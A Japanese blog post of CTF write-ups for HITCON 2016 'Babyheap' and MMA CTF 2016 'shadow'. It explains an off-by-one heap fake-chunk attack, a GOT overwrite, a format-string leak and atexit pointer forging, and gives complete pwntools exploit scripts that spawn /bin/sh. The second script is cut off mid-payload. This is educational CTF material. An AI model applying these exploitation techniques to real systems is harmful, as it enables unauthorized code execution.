ちょっとずつ成長日記

強くなりたいと願いつつ少しずつ頑張る日記

HITCON CTF 2016 Quals Babyheap

今回の問題はx64-ELFでxinetd型であった。glibc mallocが使われている問題であるため、glibc mallocの動きを把握するのにはとても良い問題であった。ではさっそく問題を見ていこう。

kit@ubuntu:~/work/babyheap$ checksec --file babyheap 
[*] '/home/kit/work/babyheap/babyheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE
    FORTIFY:  Enabled
kit@ubuntu:~/work/babyheap$ 

kit@ubuntu:~/work/babyheap$ ./babyheap 
#########################
        Baby Heap        
#########################
 1 . New                 
 2 . Delete              
 3 . Edit                
 4 . Exit                
#########################
Your choice:1
Size :16
Content:aaaaa
Name:bbbb
Done!
#########################
        Baby Heap        
#########################
 1 . New                 
 2 . Delete              
 3 . Edit                
 4 . Exit                
#########################
Your choice:4
Really? (Y/n)n
#########################
        Baby Heap        
#########################
 1 . New                 
 2 . Delete              
 3 . Edit                
 4 . Exit                
#########################
Your choice:

少し動かしてみたが、以下のようなことが分かった。

  • EditとDeleteはそれぞれ一回ずつしかできない。

  • ExitはYを入力しない限り終了しない。

どうやら、この制約された状況でバグを見つけるみたいだった。バグを見つけるためにまずは入力できるような部分から見ていく。mallocされるものは全部で二つあり、以下のような構造体の攻勢になっている。

struct Data{
    size_t size;
    char name[8];
    char *content;
}

そして、nameとcontentを入力する関数でoff-by-one errorのバグがあった。配列では添え字は0からスタートするため、一番最後の配列の添え字はsize - 1になっている。しかし、今回NULLを挿入するときに、配列の添え字にsizeを挿入しているため、実際はsize+1にNULLを挿入してしまい、1byte分上書きできるバグである。以下がその部分である

mov     [rbp+buf], rdi
mov     [rbp+size], esi
mov     eax, [rbp+size]
movsxd  rdx, eax        ; nbytes
mov     rax, [rbp+buf]
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read
mov     [rbp+read_size], eax
cmp     [rbp+read_size], 0
jg      short add_null
add_null:
mov     eax, [rbp+read_size]
movsxd  rdx, eax
mov     rax, [rbp+buf]
add     rax, rdx
mov     byte ptr [rax], 0 ; bufの一番最後に挿入
nop
leave
retn

このバグを使えば、contentのポインタが変わるぞ!ということでnameから溢れさせてみたのが以下の様子である。
f:id:shimasyaro:20170603142856p:plain
contentのポインタが0x603030から0x603000に上書きされているのがわかる。しかし、この状態でfreeを行ってしまうと0x603000から-0x8byte先であるmalloc chunkのmeta dataであるSizeがないため、SEGVを起こして死ぬ。
どうすればいいんだよぉっていう状態になったため、write upを見ることにした。以下は参考にしたwrite upです。ありがとうございました!
shift-crops.hatenablog.com
wirte upによると16.04の環境ではheap領域にbufferingされるみたいです。マジかよ知らなかったわとツイートしたら、プロから以下のようなご意見をいただきました。助かりました!ありがとうございます
f:id:shimasyaro:20170604093156p:plain
どうやら、この問題が出された時も「16.04で動かしてね!」という旨を書かれていたらしいです。そのため、今回は試すのであれば16.04で動かしてください。
さて、Newを実行する前にSizeを-8byte先に置いておかなければならないが、どこで確保すればいいのだろうということだが、Exitの部分でY/nを入力するようなところがある。ここを規定以上の入力を行い、Heap領域にbufferingさせ、-8byte先に偽のSizeを置く。以下はbuffering前と後の様子である
f:id:shimasyaro:20170603150659p:plain
f:id:shimasyaro:20170603151013p:plain
bufferingさせる前は、0x00624000であったが、buffering後は0x00625000まで伸びている。実質0x1000をbufferingしてしまったが、これ以上短くはできなかったため、仕方なく、0x1000近く送って-8byteさきに偽のSizeを置いた。以下はその後Newを行いnameを溢れさせ、contentの下位1byteを上書きした様子である。
わかりやすくするために、色分けを行った。青枠は今回free listにつなげようとしている偽Chunk、赤枠は構造体のchunkである。
f:id:shimasyaro:20170603160801p:plain
f:id:shimasyaro:20170603160814p:plain
赤枠の構造体のcontentポインタが0x604040から0x604000にoff-by-one errorで書き換わっている。そして、0x604000から-8byteしたところに偽のSizeである0x50が入っている。0x50にした理由がこれ以下のサイズにしてしまうと赤枠の構造体と被ってしまうため、0x50にした。
ここの0x50をfree listにつなげて、contentのsizeをうまく確保すると構造体の中身を自由に書き換えることができる。 被るというのは、x64の環境ではfreeされたものは、いったんfastbinsやunsorted chunksにつながれた後、binsに繋がれる。このとき、binsは配列になっており、添え字が1増えるたび0x10ずつ大きくなっていく。このとき、binsの最小サイズは0x18である。
ここまでのお話よくわかんねぇ。というお方は以下の資料をご参照ください。資料はx86ですが、x64は単純に2倍しただけですので問題ないかと思います
speakerdeck.com

つまり、0x50より小さいbinsサイズはと0x40であるため、構造体と被ってしまうため、被らない最小の0x50にした。
よし、これで、freeすれば問題なし!と思うが、実は青枠で囲み終わって次のアドレスに格納されている0x18がなければ以下のようなエラーでSEGVをおこす。以下はfreeでエラーを起こしてSEGVになった後にback traceした様子である。

#0  0x00007ffff7a43428 in __GI_raise (sig=sig@entry=0x6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1  0x00007ffff7a4502a in __GI_abort () at abort.c:89
#2  0x00007ffff7a857ea in __libc_message (do_abort=do_abort@entry=0x2, fmt=fmt@entry=0x7ffff7b9e2e0 "*** Error in `%s': %s: 0x%s ***\n")
    at ../sysdeps/posix/libc_fatal.c:175
#3  0x00007ffff7a8de0a in malloc_printerr (ar_ptr=<optimized out>, ptr=<optimized out>, str=0x7ffff7b9e358 "free(): invalid next size (fast)", 
    action=0x3) at malloc.c:5004
#4  _int_free (av=<optimized out>, p=<optimized out>, have_lock=0x0) at malloc.c:3865
#5  0x00007ffff7a9198c in __GI___libc_free (mem=<optimized out>) at malloc.c:2966
#6  0x0000000000400b35 in ?? ()
#7  0x0000000000400d0c in ?? ()
#8  0x00007ffff7a2e830 in __libc_start_main (main=0x400c9e, argc=0x1, argv=0x7fffffffdd98, init=<optimized out>, fini=<optimized out>, 
    rtld_fini=<optimized out>, stack_end=0x7fffffffdd88) at ../csu/libc-start.c:291
#9  0x0000000000400849 in ?? ()

3に書かれているエラー内容で"free(): invalid next size (fast)“と書かれているものが原因でSEGVを起こしたのである。このエラーはつぎのChunkのSizeにエラーがあるということである。
今回のケースに当てはめてみると0x50先であるnext chunkのSizeが不正であったら、エラーを起こすというものである。今回のケースでエラーを起こすのは分かっただけでも二つある。

  • bins(fastbins)の大きさと一致しない。

  • previn_use flagは特に必要ない。

詳細はソースを見るべきであるが、辛い思いをしてもよくわからなかった(絶望的にまで頭悪い)ので、確証が持てるもの以外は載せない。「glibc malloc余裕ww」というプロはぜひ知見を共有してくださいお願いします。
一応、該当しそうだなという場所は載せておきます。ソースは、glibc-2.23のmalloc.cです。また、参考になった資料も載せておきます。

3911            if (have_lock
3912               || ({ assert (locked == 0);
3913                     __libc_lock_lock (av->mutex);
3914                     locked = 1;
3915                     chunksize_nomask (chunk_at_offset (p, size)) <= 2 * SIZE_SZ
3916                       || chunksize (chunk_at_offset (p, size)) >= av->system_mem;
3917                 }))
3918             {
3919               errstr = "free(): invalid next size (fast)";
3920               goto errout;
3921             }

github.com

さて、next chunkのサイズはどう入力するかだが、contentを入力するときにSizeを入れれば問題ない。今回の場合はpaddingとして8byte(ちょうどdeadbeefのところ)入れている。
この状態でDelete(free)を行うと以下のようにbinsにつながる。(一応fastbinsも載せる)
f:id:shimasyaro:20170603165909p:plain
f:id:shimasyaro:20170603165933p:plain
binsには、0x20の配列に構造体であった0x604010、0x50の配列に偽のchunkであるものがつながっている。ここの0x50にcontentのsizeを確保するようにする。meta dataのSize分の大きさを引いて0x48byteをNewでSizeとして確保する。以下は、新しく確保して、contentで構造体の中身を書き換えた様子である。
f:id:shimasyaro:20170603192205p:plain
contentのポインタを任意のアドレスにすることによって、そのアドレス先にNewで最初contentに書き込むとき、Editを選んだ時書き込むことができる。今回はNewの時点でGOTアドレス(.got.pltアドレス)を設定している。また、以下の手順でsystemの書き換えを行う。

  1. Newの時点でexit.got.pltのアドレスを設定する。

  2. EditでGOT Overwriteを行う。(exitをret, atoiをprintfにする)

  3. menuの入力でprintfに書き換えたatoiで意図的にFSBを作ってlibcをleakする。

  4. EditでatoiをsystemにGOT Overwriteする。

  5. menuの入力で/bin/shを入力してshellを起動

最初に、1の部分であるが、ここは2回Editを行えるようにするため、exitでプロセスが強制終了しないようにするものである。
これは第一引数にセットするためのROPがうまく見つからなかったための対策である。(どうやら本番環境のlibcではなかった模様)それにならって今回も同じ方法でやっていく
次に2の部分であるが、これは、exitからatoiまで一気に書き換える。プロセスが始まった瞬間の.got.pltがどうなっているか見てみよう。以下は、.got.pltの様子である。
f:id:shimasyaro:20170604083224p:plain
.got.pltは一度使われるとアドレス解決が行われ、libcの実態に書き換わる。そして、2回目以降からは直接、実体があるlibcアドレスに直接飛ぶようになる。書き換えを行うとき、もう一度使う予定がある関数は.plt+6のアドレスに書き換えれば、再びアドレス解決をし、実体が保存される。それを考慮しながら、exploitコードを書くと以下のようになる。
f:id:shimasyaro:20170604084121p:plain
書き換えを行う、exitとatoi以外は再びアドレス解決行うようにした。
次に、3であるが、これはmenuの入力は部分はatoiを使ってint型に変換している。つまり、menuの入力がatoiの第一引数になるため、atoiをprintfに変えることで意図的にFSBを使ってアドレスをleakする。FSBを使って1番目から地道に調べていくとどうやら8番目にmenuの入力の部分にたどり着くので、9番目に任意のアドレスを設定して、libcをleakするこのとき、%sを使う。これはポインタ先をleakさせるために用いる。一応、1番目からの様子をいかに張り付けておく。

searchmem 0x7fffffffdc40 $rsp-0x1000 $rsp+0x1000
Searching for '0x7fffffffdc40' in range: 0x7fffffffcc30 - 0x7fffffffec30
Found 2 results, display max 2 items:
[stack] : 0x7fffffffd5b8 --> 0x7fffffffdc40 ("%6$p.%7$p.%8$p.%\005")
[stack] : 0x7fffffffdb78 --> 0x7fffffffdc40 ("%6$p.%7$p.%8$p.%\005")
 
1  0120| 0x7fffffffdb78 --> 0x7fffffffdc40 ("%6$p    \030 `")
2  0128| 0x7fffffffdb80 --> 0x10 
3  0136| 0x7fffffffdb88 --> 0x7ffff7b04680 (<__read_nocancel+7>:  cmp    rax,0xfffffffffffff001)
4  0144| 0x7fffffffdb90 --> 0x7ffff7fde700 (0x00007ffff7fde700)

5  0168| 0x7fffffffdba8 --> 0xcc0000ff00000000 

6  0304| 0x7fffffffdc30 --> 0x8 
7  0312| 0x7fffffffdc38 --> 0x7ffff7a7d7fa (<_IO_puts+362>:   cmp    eax,0xffffffff)
8  0320| 0x7fffffffdc40 ("%6$p    \030 `")
9  0328| 0x7fffffffdc48 --> 0x602018 --> 0x7ffff7a91940 (<__GI___libc_free>:   push   r13)

今回の.got.pltはGOT Overwriteの影響を受けていない、free関数を用いてleak行う。このときのexploitは以下のようになる。
f:id:shimasyaro:20170604090128p:plain
%sの後ろにwが4つ入っているがこれは9番目にアドレスを設定するためのpaddingである。
次に4であるが、Editを選択するときに、atoiがprintfに書き変わっているため、返り値で比較している部分を考慮しなければならない。printfの返り値は出力した文字数であるため、menuを選択するときは入力で3文字入力する必要がある。
このとき、あらかじめexploitコードで関数を作るときに3とスペース2つの合計3文字分にしておくと後々便利である。
あとはatoiをsystemに書き換えて、再びmenuに戻ってきたら/bin/shを与えてあげればshellが取れる。以下はexploitコードである。
コードべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log
elf = ELF('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

exit_got           = elf.got['_exit']             # _exit got address
read_chk_plt       = elf.plt['__read_chk']        # __read_chk
puts_plt           = elf.plt['puts']              # puts
printf_plt         = elf.plt['printf']            # printf
alarm_plt          = elf.plt['alarm']             # alarm
read_plt           = elf.plt['read']              # read
stack_chk_fail_plt = elf.plt['__stack_chk_fail']  # __stack_chk_fail
libc_start_plt     = elf.plt['__libc_start_main'] # __libc_start_main
signal_plt         = elf.plt['signal']            # signal
malloc_plt         = elf.plt['malloc']            # malloc
setvbuf_plt        = elf.plt['setvbuf']           # setvbuf
ret                = 0x00400711
free_offset        = libc.symbols['free']

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 1025
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./shadow')
        print "[+] connect to local\n"

def new(size, content, name):
    conn.recvuntil('Your choice:')
    conn.send('1')
    conn.recvuntil('Size :')
    conn.send(str(size))
    conn.recvuntil('Content:')
    conn.send(content)
    conn.recvuntil('Name:')
    conn.send(name)

def delete():
    conn.recvuntil('Your choice:')
    conn.send('2')

def edit(content):
    conn.recvuntil('Your choice:')
    conn.send('3  ')
    conn.recvuntil('Content:')
    conn.send(content)

def exit(data):
    conn.recvuntil('Your choice:')
    conn.send('4')
    conn.recvuntil('Really? (Y/n)')
    conn.send(data)

# buffering heap area and create fake chunk
buffering = ''
buffering += 'nn'
buffering += '\x00'*(0x1000-0x18-len(buffering))
buffering += p64(0x50)
exit(buffering)

# create chunk and create fake chunk
data = ''
data += p64(0xdeadbeef)
data += p64(0x18)
new(0x80, data, 'A'*8)
delete()

# GOT overwrite
got_ovr = ''
got_ovr += p64(ret)                    # _exit
got_ovr += p64(read_chk_plt+6)         # __read_chk
got_ovr += p64(puts_plt+6)             # puts
got_ovr += p64(stack_chk_fail_plt+6)   # __stack_chk_fail
got_ovr += p64(printf_plt+6)           # printf
got_ovr += p64(alarm_plt+6)            # alarm
got_ovr += p64(read_plt+6)             # read
got_ovr += p64(libc_start_plt+6)       # __libc_start_main
got_ovr += p64(signal_plt+6)           # signal
got_ovr += p64(malloc_plt+6)           # malloc
got_ovr += p64(setvbuf_plt+6)          # setvbuf
got_ovr += p64(printf_plt+6)           # atoi

# overwrite content address 
ovr_address = ''
ovr_address += p64(0) * 3
ovr_address += p64(0x21)            # malloc chunk size
ovr_address += p64(len(got_ovr))    # content size
ovr_address += p64(0xfeedface)      # name
ovr_address += p64(exit_got)        # content ptr

new(0x48, ovr_address, 'B'*7)
edit(got_ovr)

conn.recvuntil('Your choice:')
conn.send('%9$swwww' + p64(elf.got['free']))
libc_free = int(hex(u64(conn.recv(6) + '\x00\x00')),16)
print '[+] free address %18x' % libc_free
libc_base = libc_free - free_offset
print '[+] libc base address %18x' % libc_base
system = libc_base + libc.symbols['system']

# atoi to system
payload = ''
payload += got_ovr[:-8]
payload += p64(system)
edit(payload)

# start shell
conn.recvuntil('Your choice:')
conn.send('/bin/sh')

conn.interactive()

[総評] glibc malloc 良さみが深い。

Tokyo Westerns/MMA CTF 2nd 2016 shadow

今回の問題は32bit-ELFで簡単な問題と思いきや全然そんなことはなかった。解法は全部で三つあるため全部紹介したいと思う。ではさっそくみてみよう!

kit@ubuntu:~/work/shadow$ checksec --file shadow 
[*] '/home/kit/work/shadow/shadow'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

kit@ubuntu:~/work/shadow$ ./shadow 
Hello!
You can send message three times.
Input name : shadow
Message length : -1
Input message : aaaa
(1/3) <shadow> aaaa

どうやら、全部で三回ほど入力ができるらしい、試しに長さを負の数を入れて動かしてみたら、正常に動いているらしかった。もしかしたら、チェックが甘いのかなと思って入力関数が存在しているところを中心に見てみることにした。すると以下のようなことが分かった。
* stackに保存しているループカウンターと比べて小さい場合ループを続ける。 * Message lengthの負数チェックがされていない。 * Input messageのBufferの後ろにはcanaryとreturn addressがある。 * input name pointerの書き換え、カウンタの書き換え、input nameのサイズの書き換えができる。
とりあえず、input messageのstackを見てみよう。
f:id:shimasyaro:20170507094339p:plain
Message lengthでは、負数を受け付けていたのでここから、BOFさせて、色々することができる。例えば様々なアドレスのleakを行うことができる。中でも、input name pointerを書き換えて任意のアドレスにするとそこに書き込むことができ、そこのアドレスの中身をleakすることもできる。(nameはInput messageを行うたびに表示されることを利用して)
この状況から、1回目でcanary leak, 2回目でlibc base leak 3回目でreturn書き換えてROPさせれば終了じゃん!と思って実行させたら、上手くいかなかった。どうやら今回はこのやり方では上手くいかないらしい。仕方ないので詳しく見ていくと何やら奇妙な動きをしている関数があった。どんな関数を呼ぶときもcall, returnする前はret, stackにpush, popを行うときもpush, popと言われるような関数を使っているようだった。つまり、message関数のreturn addressを書き換えたとしてもret関数によって元に戻される仕組みになっていた。
とりあえず、ret関数から見ていくとpop関数が呼ばれているだけであったため、pop関数をみると、shadow_init関数から呼ばれているような.bss sectionに存在しているグローバル変数(gs20h_addr)を見つけた。ここにどうやら、gs:20hに入っている値を保存しているようだった。そして次の命令でこれもshadow_init関数から呼ばれているようなグローバル変数stack_bufを見つけた。以下の命令でもあらゆる場所で見かけるため、どうやらこの二つは今回重要らしい。
この二つは何なのか調べるためにshadow_initを見てみることにした。

push    ebp
mov     ebp, esp
sub     esp, 28h
mov     dword ptr [esp+14h], 0 ; offset
mov     dword ptr [esp+10h], 0FFFFFFFFh ; fd
mov     dword ptr [esp+0Ch], 22h        ; flags
mov     dword ptr [esp+8], 0            ; prot
mov     dword ptr [esp+4], 1000h        ; len
mov     dword ptr [esp], 0              ; addr
call    _mmap
mov     ds:stack_buf, eax
mov     eax, ds:stack_buf
add     eax, 1000h
mov     ds:gs20h_addr, eax
mov     eax, ds:gs20h_addr
mov     large gs:20h, eax
leave
retn

どうやら、mmapを行って、アドレスを確保した奴をStack_bufに入れ、そこから1000h加算されたアドレスを一旦、グローバル変数(gs20h_addr)に入れて、全く同じものをgs:20hに入れているようだった。詳しくret関数を見ていこう。

mov     eax, [esp+arg1]
mov     rval, eax       ; 第一引数
call    pop
mov     [ebp+0], eax    ; saved ebp
mov     eax, offset restore_eip
mov     [ebp+4], eax
retn

引数から察するに、offset restore_eipのせいでreturn addressが書き換わっていたことが分かった。しかし、ここを書き換えることはアドレスの位置的に不可能である。仕方がないため、pop関数を詳しく見ていこう。以下は重要な部分を抜粋している。

mov     eax, ds:stack_buf
mov     dword ptr [esp+8], 1     ; prot read only
mov     dword ptr [esp+4], 1000h ; len
mov     [esp], eax               ; addr
call    _mprotect
mov     eax, ds:gs20h_addr
mov     eax, [eax]               ; eax = *gs20h_addr
mov     [ebp+gs20h_value], eax   ;gs20h value
mov     eax, ds:stack_buf
mov     dword ptr [esp+8], 0     ; prot アクセス不可
mov     dword ptr [esp+4], 1000h ; len
mov     [esp], eax               ; addr
call    _mprotect
mov     eax, ds:gs20h_addr
add     eax, 4
mov     ds:gs20h_addr, eax
mov     eax, ds:gs20h_addr
mov     large gs:20h, eax
mov     eax, [ebp+gs20h_value]
mov     [esp], eax
call    enc_dec
leave
retn

stack_bufから1000hまでをread onlyにしてからgs20h_addrを読み取り、stackにgs20hの値を入れる。そして、再びアクセス不可にする。その後、その値を使ってenc_dec関数を実行している。enc_dec関数を見てみよう。

push    ebp
mov     ebp, esp
mov     eax, [ebp+arg1]
xor     eax, large gs:18h
pop     ebp
retn

stackに積んである第一引数とgs:18hの値とxorを取って終了している。eaxは最終的にreturn addressの直前にstackされる。return addressはoffsetとして用意されている。
これではまだ、よくわからないため、他にまだ見ていないcall関数があるため、そっちを見てみよう。

push    ebp
mov     ebp, esp
sub     esp, 4
mov     eax, [ebp+4]         ; return address
mov     [esp], eax
call    push
mov     eax, [ebp+var_0]
mov     [esp], eax
call    push
mov     eax, [ebp+arg_0]     ; 第一引数
mov     edx, offset ret_stub 
mov     [ebp+arg_0], edx     
leave
add     esp, 4
jmp     eax                  ; 第一引数に飛ぶ

第一引数が格納されているstackにoffset ret_stubというものが格納されるらしい。これだけではよく分からないため、順を追ってデバッグしていこう。まずは、push関数からである。以下は重要なところだけを抜粋した。

mov     eax, ds:gs20h_addr
sub     eax, 4
mov     ds:gs20h_addr, eax
mov     eax, ds:stack_buf
mov     dword ptr [esp+8], 2     ; prot write only
mov     dword ptr [esp+4], 1000h ; len
mov     [esp], eax               ; addr
call    _mprotect
mov     ebx, ds:gs20h_addr
mov     eax, [ebp+arg_0]         ; 第一引数
mov     [esp], eax
call    enc_dec
mov     [ebx], eax               ; gs20h_addr = arg1 xor gs18h
mov     eax, ds:stack_buf
mov     dword ptr [esp+8], 0     ; prot アクセス不可
mov     dword ptr [esp+4], 1000h ; len
mov     [esp], eax               ; addr
call    _mprotect
mov     eax, ds:gs20h_addr
mov     large gs:20h, eax
add     esp, 14h
pop     ebx
pop     ebp
retn

write onlyにしたあと、enc_dec関数を実行した結果をグローバル変数に格納してるポインタに格納している。
さて、以上を踏まえて、攻撃方法を考えた結果、gs:20hを書き換えるのが良いと判断した。しかし、肝心の書き換え方法がよくわからなかったため、Write upを確認するとどうやら三つの方法があることが分かった。その三つを以下に示す。
1. gs:18hをleakして、system関数を引数と一緒にatexit関数に登録する。
2. gs:20hとgs:18hを書き換える
3. IO_stdoutを使う。

以下は参考になった資料である。とても参考になりました。誠にありがとうございます。

shift-crops.hatenablog.com

1.atexit関数を用いた攻撃

今回は、1を紹介する。まず、gs:18hのleak方法だが、これはret関数が使われたときにstackに格納されているenc_decされた値から、enc_decされる前の値とxorを取って特定する。次に、atexit関数に登録する方法だが、これはatexit関数がどんなライブラリ関数なのかを説明してから話す。
atexit関数は、exit関数が呼ばれたときに、atexit関数で登録された関数がLIFOの順番で呼ばれる。最大で32個まで登録ができる。「登録する関数は引数なし」となっているが、正確には違う。glibcソースコードを見てみよう。

// stdlib\atexit.c

atexit (void (*func) (void))
{
  return __cxa_atexit ((void (*) (void *)) func, NULL,
               &__dso_handle == NULL ? NULL : __dso_handle);
}

atexitの中を見ると別の関数であるcxa_atexitが呼ばれている。しかも、引数が増えている。これはどういうことだろう?cxa_atexitのソースを見てみよう。

// stdlib\cxa_atexit.c

/* Register a function to be called by exit or when a shared library
   is unloaded.  This function is only called from code generated by
   the C++ compiler.  */
int
__cxa_atexit (void (*func) (void *), void *arg, void *d)
{
  return __internal_atexit (func, arg, d, &__exit_funcs);
}

私は、ここで登録する関数の引数は取るということが分かった。atexitがよばれて、cxa_atexitの第二引数がNULLになっているのがわかるだろうか?ここでわざと引数を与えないように制御しているようだった。さらに詳しく見ていくために、同じソースコード内にある、internal_atexitを見ていこう。

int
attribute_hidden
__internal_atexit (void (*func) (void *), void *arg, void *d,
           struct exit_function_list **listp)
{
  struct exit_function *new = __new_exitfn (listp);

  if (new == NULL)
    return -1;

#ifdef PTR_MANGLE
  PTR_MANGLE (func);
#endif
  new->func.cxa.fn = (void (*) (void *, int)) func;
  new->func.cxa.arg = arg;
  new->func.cxa.dso_handle = d;
  atomic_write_barrier ();
  new->flavor = ef_cxa;
  return 0;
}

見たことがない二つの構造体、exit_function_list、exit_functionががあるためその二つも見てみよう。

// stdlib\exit.h

struct exit_function
  {
    /* `flavour' should be of type of the `enum' above but since we need
       this element in an atomic operation we have to use `long int'.  */
    long int flavor;
    union
      {
    void (*at) (void);
    struct
      {
        void (*fn) (int status, void *arg);
        void *arg;
      } on;
    struct
      {
        void (*fn) (void *arg, int status);
        void *arg;
        void *dso_handle;
      } cxa;
      } func;
  };
struct exit_function_list
  {
    struct exit_function_list *next;
    size_t idx;
    struct exit_function fns[32];
  };

この二つの構造体で分かったことは、関数が最大で32個登録できるのはexit_function_list構造体の中にあるexit_function構造体の配列で最大32個と決まっていたということ。今回はunionではcxa構造体が使われるということが分かった。話を戻して、internal_atexitで、exit_function_listがダブルポインタになっている理由は一つ目のポインタで32個分(正確には登録されている分)のlist addressを管理して、次のポインタでそれぞれのlistのexit_function_list構造体の値を保持していることが分かる。
そして、もう一つ
internal_atexitできになることは、PTR_MANGLEという定義である。なにかしら登録する関数に対して処理をしているように見える。これを詳しく見てみよう。

# ifdef __ASSEMBLER__
#  define PTR_MANGLE(reg)  xor __pointer_chk_guard_local(%rip), reg;    \
               rol $2*LP_SIZE+1, reg

GAS表記のアセンブリ言語で書かれている。ここでは何をしているのかというと、__pointer_chk_guard_localというものとxorを取っている。実はこれgs:18hの値である。つまり、登録される関数のポインタはここでxorされるのである。そして、xor取った値をさらにLP_SIZEは4であるから、2*4+1 = 9左にシフトしている。
これらを踏まえてうえで、どのようにしてatexit関数に登録すればよいのか考えてみよう。まずは、exit関数が動く部分である。

   0xf7e387c3 <exit+19>:  push   0x1
   0xf7e387c5 <exit+21>: push   eax
   0xf7e387c6 <exit+22>: push   DWORD PTR [esp+0x1c]
=> 0xf7e387ca <exit+26>: call   0xf7e38690
   0xf7e387cf:  nop
   0xf7e387d0 <on_exit>:  push   ebx
   0xf7e387d1 <on_exit+1>:   call   0xf7f270d5
   0xf7e387d6 <on_exit+6>:   add    ebx,0x18182a
Guessed arguments:
arg[0]: 0x0 
arg[1]: 0xf7fba3dc --> 0xf7fbb1e0 --> 0x0 
arg[2]: 0x1 

atexit list
gdb-peda$ x/10wx 0xf7fba3dc
0xf7fba3dc:    0xf7fbb1e0 0xf7fbb400 0xf7fba070 0xf7fba064
0xf7fba3ec:    0xf7fba064 0x00000003 0x0000001f 0x00000003
0xf7fba3fc:    0xf7fba0e0 0xf7fb8a64

list[0]
gdb-peda$ x/10wx 0xf7fbb1e0
0xf7fbb1e0:    0x00000000 0x00000001 0x00000004 0xe71860eb
0xf7fbb1f0:    0x00000000 0x00000000 0x00000000 0x00000000
0xf7fbb200:    0x00000000 0x00000000

atexitが呼ばれる直前の状態である。ここの第2引数からatexit listのポインタが格納されていることが分かる。そこからlist[0]のアドレスを見るとすでに登録されていることが確認できる。今回はこのlist[0]に登録するように仕向ける。登録方法を以下に示す。

  • atexit listアドレスがあるstack addressをinput name pointerにBOFさせておいてleakする。

  • list[0]アドレスがあるatexit list addressをinput name pointerにBOFさせておいてleakする。

  • list[0]アドレスをinput name pointerにBOFさせておいてchange nameでyを選択してinput nameで値を登録する。(このとき、input nameのサイズはBOFさせて変えておく)

  • 登録する値は*next = NULL, idx = 2(systemと/bin/shの二つ分), flavor = 4(long intで固定), func = (system ^ gs:18h) << 9, arg = /bin/sh address, dso_handle = NULL
    さて、これらから実際に攻撃の手順を考えていきましょう!

  • Input messageでBOFさせてcanaryをleakする。

  • Input messageで改行なしでsendしてold ebpなどをleakする。

  • Input messageでlibc baseを適当なGOT addressからinput name pointerにBOFさせておいてleakする。このとき、name size, ループカウンタの制限を適当な数値で増やしておく。

  • gs:18hをold ebpを使ってleakする。(ret関数が使われた形跡がstack内に残っているため、そこからleakする)

  • atexitに登録する。

  • canaryをもとに戻し、ループのカウンタを0にして正常に終了させる。(stackが壊れるとabortしてatexitが呼ばれなくなるため)

これらをまとめたものが以下のexploit codeになる。こーどべちょー

#!/usr/bin/env python2
from pwn import *

context(os='linux', arch='i386')
#context.log_level = 'debug' # output verbose log
elf = ELF('./shadow')
libc = ELF('/lib32/libc.so.6')

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        HOST = 'localhost'
        PORT = 114514
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./shadow')
        print "[+] connect to local\n"

def read_address(addr):
    conn.recvuntil('Change name? (y/n) : ')
    conn.send('n\n')
    conn.recvuntil('Message length : ')
    conn.send('-1\n')
    conn.recvuntil('Input message : ')
    payload = ''
    payload += 'A' * 52
    payload += p32(addr)                 # name ptr
    payload += p32(0x1000)               # name length input
    payload += p32(0x10)                 # loop counter limit
    conn.send(payload)
    conn.recv(8)
    return int(hex(u32(conn.recv(4))),16)

# 1st canary leak
conn.recvuntil('Input name : ')
conn.send('shadow')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
leak = 'A' * 33
conn.send(leak)
conn.recvuntil(leak)
canary = int(hex(u32('\x00' + conn.recv(3))),16)
log.info('canary:0x%08x' % canary)

# 2nd leak stack address
conn.recvuntil('Change name? (y/n) : ')
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
leak2 = 'A' * 44
conn.send(leak2)
conn.recvuntil(leak2)
saved_ebp       = int(hex(u32(conn.recv(4))), 16)
ret_addr        = int(hex(u32(conn.recv(4))), 16)
input_name_addr = int(hex(u32(conn.recv(4))), 16)

log.info('saved_ebp         :0x%08x' % saved_ebp)
log.info('return address    :0x%08x' % ret_addr)
log.info('input name address:0x%08x' % input_name_addr)

# 3rd leak libcbase, buffer length and change loop conunter
exit_libc = read_address(elf.got['exit'])
libc_base = exit_libc - libc.symbols['exit']
system    = libc_base + libc.symbols['system']
binsh     = libc_base + next(libc.search("/bin/sh"))
atexit    = libc_base + libc.symbols['atexit']
log.info('libc_base address:0x%08x' % libc_base)
log.info('system address:0x%08x' % system)
log.info('/bin/sh address:0x%08x' % binsh)

# 4th leak gs:18h
gs18h = read_address(saved_ebp-0x3c) ^ elf.symbols['main']+0x54
log.info('gs18h :0x%08x' % gs18h)

# 5th leak atexit list pointer
atexit_list = read_address(saved_ebp+0x14)
log.info('atexit_list :0x%08x' % atexit_list)

# 6th leak atexit list[0]
atexit_list_arr = read_address(atexit_list)
log.info('atexit_list_arr :0x%08x' % atexit_list_arr)

# 7th set atexit list[0] address
conn.recvuntil('Change name? (y/n) : ')
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
payload = ''
payload += 'A' * 52
payload += p32(atexit_list_arr)          # name ptr
payload += p32(0x1000)                   # name length input
payload += p32(0x10)                     # loop counter limit
conn.send(payload)

# 8th overwrite atexit list[0] array
conn.recvuntil('Input name : ')
arr_atexit = p32(0)
arr_atexit += p32(2)
arr_atexit += p32(4)
arr_atexit += p32(rol(system^gs18h, 9, 32))
arr_atexit += p32(binsh)
arr_atexit += p32(0)
conn.send(arr_atexit)
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
conn.send('a')

# 9th set finish
conn.send('n\n')
conn.recvuntil('Message length : ')
conn.send('-1\n')
conn.recvuntil('Input message : ')
payload = ''
payload += 'A' * 32
payload += p32(canary)                # canary
